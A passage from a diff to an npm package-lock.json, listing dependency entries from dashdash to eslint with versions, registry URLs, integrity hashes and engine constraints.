"https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", + "dev": true, + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/date-now": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/date-now/-/date-now-0.1.4.tgz", + "integrity": "sha1-6vQ5/U1ISK105cx9vvIAZyueNFs=", + "dev": true + }, + "node_modules/dateformat": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.12.tgz", + "integrity": "sha1-nxJLZ1lMk3/3BpMuSmQsyo27/uk=", + "dev": true, + "dependencies": { + "get-stdin": "^4.0.1", + "meow": "^3.3.0" + }, + "bin": { + "dateformat": "bin/cli.js" + }, + "engines": { + "node": "*" + } + }, + "node_modules/dayjs": { + "version": "1.11.7", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.7.tgz", + "integrity": "sha512-+Yw9U6YO5TQohxLcIkrXBeY73WP3ejHWVvx8XCk3gxvQDCTEmS48ZrSZCKciI7Bhl/uCMyxYtE9UqRILmFphkQ==", + "peer": true + }, + "node_modules/de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/de-indent/-/de-indent-1.0.2.tgz", + "integrity": "sha1-sgOOhG3DO6pXlhKNCAS0VbjB4h0=", + "dev": true + }, + "node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "dev": true, + "optional": true, + "dependencies": { + "mimic-response": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/deep-is": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", + "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", + "dev": true + }, + "node_modules/deepmerge": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-3.3.0.tgz", + "integrity": "sha512-GRQOafGHwMHpjPx9iCvTgpu9NojZ49q794EEL94JVEw6VaeA8XTUyBKvAkOOjBX9oJNiV6G3P+T+tihFjo2TqA==", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/defaults": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "peer": true, + "dependencies": { + "clone": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-properties": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.2.tgz", + "integrity": "sha1-g6c/L+pWmJj7c3GTyPhzyvbUXJQ=", + "dependencies": { + "foreach": "^2.0.5", + "object-keys": "^1.0.8" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dependencies": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/define-property/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/define-property/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/define-property/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/define-property/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/define-property/node_modules/kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/defined": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz", + "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=", + "dev": true + }, + "node_modules/del": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/del/-/del-2.2.2.tgz", + "integrity": "sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=", + "dev": true, + "dependencies": { + "globby": "^5.0.0", + "is-path-cwd": "^1.0.0", + "is-path-in-cwd": "^1.0.0", + "object-assign": "^4.0.1", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "rimraf": "^2.2.8" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", + "dev": true + }, + "node_modules/denodeify": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/denodeify/-/denodeify-1.2.1.tgz", + "integrity": "sha512-KNTihKNmQENUZeKu5fzfpzRqR5S2VMp4gl9RFHiWzj9DfvYQPMJ6XHKNaQxaGCXwPk6y9yme3aUoaiAe+KX+vg==", + "peer": true + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/deprecated-react-native-prop-types": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/deprecated-react-native-prop-types/-/deprecated-react-native-prop-types-3.0.1.tgz", + "integrity": "sha512-J0jCJcsk4hMlIb7xwOZKLfMpuJn6l8UtrPEzzQV5ewz5gvKNYakhBuq9h2rWX7YwHHJZFhU5W8ye7dB9oN8VcQ==", + "peer": true, + "dependencies": { + "@react-native/normalize-color": "*", + "invariant": "*", + "prop-types": "*" + } + }, + "node_modules/deps-sort": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/deps-sort/-/deps-sort-2.0.0.tgz", + "integrity": "sha1-CRckkC6EZYJg65EHSMzNGvbiH7U=", + "dev": true, + "dependencies": { + "JSONStream": "^1.0.3", + "shasum": "^1.0.0", + "subarg": "^1.0.0", + "through2": "^2.0.0" + }, + "bin": { + "deps-sort": "bin/cmd.js" + } + }, + "node_modules/des.js": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/des.js/-/des.js-1.0.0.tgz", + "integrity": "sha1-wHTS4qpqipoH29YfmhXCzYPsjsw=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "peer": true, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-indent": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-4.0.0.tgz", + "integrity": "sha1-920GQ1LN9Docts5hnE7jqUdd4gg=", + "dev": true, + "dependencies": { + "repeating": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/detect-libc": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-0.2.0.tgz", + "integrity": "sha1-R/31ZzSKF+wl/L8LnkRjSKdvn7U=", + "dev": true, + "optional": true, + "bin": { + "detect-libc": "bin/detect-libc.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/detective": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/detective/-/detective-5.1.0.tgz", + "integrity": "sha512-TFHMqfOvxlgrfVzTEkNBSh9SvSNX/HfF4OFI2QFGCyPm02EsyILqnUeb5P6q7JZ3SFNTBL5t2sePRgrN4epUWQ==", + "dev": true, + "dependencies": { + "acorn-node": "^1.3.0", + "defined": "^1.0.0", + "minimist": "^1.1.1" + }, + "bin": { + "detective": "bin/detective.js" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/diff": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", + "dev": true, + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/diffie-hellman": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.2.tgz", + "integrity": "sha1-tYNXOScM/ias9jIJn97SoH8gnl4=", + "dev": true, + "dependencies": { + "bn.js": "^4.1.0", + "miller-rabin": "^4.0.0", + "randombytes": "^2.0.0" + } + }, + "node_modules/doctrine": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/doctypes": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/doctypes/-/doctypes-1.1.0.tgz", + "integrity": "sha1-6oCxBqh1OHdOijpKWv4pPeSJ4Kk=", + "dev": true + }, + "node_modules/dom-serializer": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.1.0.tgz", + "integrity": "sha1-BzxpdUbOB4DOI75KKOKT5AvDDII=", + "dev": true, + "dependencies": { + "domelementtype": "~1.1.1", + "entities": "~1.1.1" + } + }, + "node_modules/dom-serializer/node_modules/domelementtype": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.1.3.tgz", + "integrity": "sha1-vSh3PiZCiBrsUVRJJCmcXNgiGFs=", + "dev": true + }, + "node_modules/dom-serializer/node_modules/entities": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.1.tgz", + "integrity": "sha1-blwtClYhtdra7O+AuQ7ftc13cvA=", + "dev": true + }, + "node_modules/domain-browser": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz", + "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==", + "dev": true, + "engines": { + "node": ">=0.4", + "npm": ">=1.2" + } + }, + "node_modules/domelementtype": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.0.tgz", + "integrity": "sha1-sXrtguirWeUt2cGbF1bg/BhyBMI=", + "deprecated": "update to domelementtype@1.3.1", + "dev": true + }, + "node_modules/domhandler": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.3.0.tgz", + "integrity": "sha1-LeWaCCLVAn+r/28DLCsloqir5zg=", + "dev": true, + "dependencies": { + "domelementtype": "1" + } + }, + "node_modules/domutils": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.5.1.tgz", + "integrity": "sha1-3NhIiib1Y9YQeeSMn3t+Mjc2gs8=", + "dev": true, + "dependencies": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "node_modules/dot-prop": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-4.2.0.tgz", + "integrity": "sha512-tUMXrxlExSW6U2EXiiKGSBVdYgtV8qlHL+C10TsW4PURY/ic+eaysnSkwB4kA/mBlCyy/IKDJ+Lc3wbWeaXtuQ==", + "dev": true, + "dependencies": { + "is-obj": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/due": { + "version": "0.0.18", + "resolved": "https://registry.npmjs.org/due/-/due-0.0.18.tgz", + "integrity": "sha1-11dpSqWj7A5hBDg4yEzo1x5KLgE=", + "dev": true + }, + "node_modules/duplexer2": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", + "integrity": "sha1-ixLauHjA1p4+eJEFFmKjL8a93ME=", + "dev": true, + "dependencies": { + "readable-stream": "^2.0.2" + } + }, + "node_modules/duplexify": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.6.0.tgz", + "integrity": "sha512-fO3Di4tBKJpYTFHAxTU00BcfWMY9w24r/x21a6rZRbsD/ToUgGxsMbiGRmB7uVAXeGKXD9MwiLZa5E97EVgIRQ==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" + } + }, + "node_modules/ecc-jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", + "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", + "dev": true, + "optional": true, + "dependencies": { + "jsbn": "~0.1.0" + } + }, + "node_modules/editorconfig": { + "version": "0.15.3", + "resolved": "https://registry.npmjs.org/editorconfig/-/editorconfig-0.15.3.tgz", + "integrity": "sha512-M9wIMFx96vq0R4F+gRpY3o2exzb8hEj/n9S8unZtHSvYjibBp/iMufSzvmOcV/laG0ZtuTVGtiJggPOSW2r93g==", + "dev": true, + "dependencies": { + "commander": "^2.19.0", + "lru-cache": "^4.1.5", + "semver": "^5.6.0", + "sigmund": "^1.0.1" + }, + "bin": { + "editorconfig": "bin/editorconfig" + } + }, + "node_modules/editorconfig/node_modules/lru-cache": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", + "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, + "dependencies": { + "pseudomap": "^1.0.2", + "yallist": "^2.1.2" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "peer": true + }, + "node_modules/electron-to-chromium": { + "version": "1.4.311", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.311.tgz", + "integrity": "sha512-RoDlZufvrtr2Nx3Yx5MB8jX3aHIxm8nRWPJm3yVvyHmyKaRvn90RjzB6hNnt0AkhS3IInJdyRfQb4mWhPvUjVw==" + }, + "node_modules/elliptic": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.4.0.tgz", + "integrity": "sha1-ysmvh2LIWDYYcAPI3+GT5eLq5d8=", + "dev": true, + "dependencies": { + "bn.js": "^4.4.0", + "brorand": "^1.0.1", + "hash.js": "^1.0.0", + "hmac-drbg": "^1.0.0", + "inherits": "^2.0.1", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.0" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "peer": true + }, + "node_modules/emojis-list": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", + "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/encoding": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", + "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", + "dependencies": { + "iconv-lite": "~0.4.13" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.1.tgz", + "integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enhanced-resolve": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.3.0.tgz", + "integrity": "sha512-3e87LvavsdxyoCfGusJnrZ5G8SLPOFeHSNpZI/ATL9a5leXo2k0w6MKnbqhdBad9qTobSfB20Ld7UmgoNbAZkQ==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.5.0", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/enhanced-resolve/node_modules/memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "dependencies": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + }, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/entities": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-1.0.0.tgz", + "integrity": "sha1-sph6o4ITR/zeZCsk/fyeT7cSvyY=", + "dev": true + }, + "node_modules/envinfo": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz", + "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", + "bin": { + "envinfo": "dist/cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/err-code": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-1.1.2.tgz", + "integrity": "sha1-BuARbTAo9q70gGhJ6w6mp0iuaWA=", + "dev": true + }, + "node_modules/errno": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz", + "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==", + "dev": true, + "dependencies": { + "prr": "~1.0.1" + }, + "bin": { + "errno": "cli.js" + } + }, + "node_modules/error": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/error/-/error-7.0.2.tgz", + "integrity": "sha1-pfdf/02ZJhJt2sDqXcOOaJFTywI=", + "dev": true, + "dependencies": { + "string-template": "~0.2.1", + "xtend": "~4.0.0" + } + }, + "node_modules/error-ex": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.1.tgz", + "integrity": "sha1-+FWobOYa3E6GIcPNoh56dhLDqNw=", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/error-stack-parser": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "peer": true, + "dependencies": { + "stackframe": "^1.3.4" + } + }, + "node_modules/errorhandler": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/errorhandler/-/errorhandler-1.5.1.tgz", + "integrity": "sha512-rcOwbfvP1WTViVoUjcfZicVzjhjTuhSMntHh6mW3IrEiyE6mJyXvsToJUJGlGlw/2xU9P5whlWNGlIDVeCiT4A==", + "peer": true, + "dependencies": { + "accepts": "~1.3.7", + "escape-html": "~1.0.3" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/es-abstract": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.12.0.tgz", + "integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==", + "dev": true, + "dependencies": { + "es-to-primitive": "^1.1.1", + "function-bind": "^1.1.1", + "has": "^1.0.1", + "is-callable": "^1.1.3", + "is-regex": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-to-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.1.1.tgz", + "integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=", + "dev": true, + "dependencies": { + "is-callable": "^1.1.1", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es5-ext": { + "version": "0.10.45", + "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.45.tgz", + "integrity": "sha512-FkfM6Vxxfmztilbxxz5UKSD4ICMf5tSpRFtDNtkAhOxZ0EKtX6qwmXNyH/sFyIbX2P/nU5AMiA9jilWsUGJzCQ==", + "dev": true, + "dependencies": { + "es6-iterator": "~2.0.3", + "es6-symbol": "~3.1.1", + "next-tick": "1" + } + }, + "node_modules/es6-iterator": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", + "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=", + "dev": true, + "dependencies": { + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/es6-map": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/es6-map/-/es6-map-0.1.5.tgz", + "integrity": "sha1-kTbgUD3MBqMBaQ8LsU/042TpSfA=", + "dev": true, + "dependencies": { + "d": "1", + "es5-ext": "~0.10.14", + "es6-iterator": "~2.0.1", + "es6-set": "~0.1.5", + "es6-symbol": "~3.1.1", + "event-emitter": "~0.3.5" + } + }, + "node_modules/es6-object-assign": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", + "integrity": "sha1-wsNYJlYkfDnqEHyx5mUrb58kUjw=", + "dev": true + }, + "node_modules/es6-promise": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.4.tgz", + "integrity": "sha512-/NdNZVJg+uZgtm9eS3O6lrOLYmQag2DjdEXuPaHlZ6RuVqgqaVZfgYCepEIKsLqwdQArOPtC3XzRLqGGfT8KQQ==", + "dev": true + }, + "node_modules/es6-set": { + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/es6-set/-/es6-set-0.1.5.tgz", + "integrity": "sha1-0rPsXU2ADO2BjbU40ol02wpzzLE=", + "dev": true, + "dependencies": { + "d": "1", + "es5-ext": "~0.10.14", + "es6-iterator": "~2.0.1", + "es6-symbol": "3.1.1", + "event-emitter": "~0.3.5" + } + }, + "node_modules/es6-symbol": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.1.tgz", + "integrity": "sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=", + "dev": true, + "dependencies": { + "d": "1", + "es5-ext": "~0.10.14" + } + }, + "node_modules/es6-weak-map": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.2.tgz", + "integrity": "sha1-XjqzIlH/0VOKH45f+hNXdy+S2W8=", + "dev": true, + "dependencies": { + "d": "1", + "es5-ext": "^0.10.14", + "es6-iterator": "^2.0.1", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "peer": true + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/escope": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/escope/-/escope-3.6.0.tgz", + "integrity": "sha1-4Bl16BJ4GhY6ba392AOY3GTIicM=", + "dev": true, + "dependencies": { + "es6-map": "^0.1.3", + "es6-weak-map": "^2.0.1", + "esrecurse": "^4.1.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/eslint": { + "version": "4.19.1", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-4.19.1.tgz", + "integrity": "sha512-bT3/1x1EbZB7phzYu7vCr1v3ONuzDtX8WjuM9c0iYxe+cq+pwcKEoQjl7zd3RpC6YOLgnSy3cTN58M2jcoPDIQ==", + "dev": true, + "dependencies": { + "ajv": "^5.3.0", + "babel-code-frame": "^6.22.0", + "chalk": "^2.1.0", + "concat-stream": "^1.6.0", + "cross-spawn": "^5.1.0", + "debug": "^3.1.0", + "doctrine": "^2.1.0", + "eslint-scope": "^3.7.1", + "eslint-visitor-keys": "^1.0.0", + "espree": "^3.5.4", + 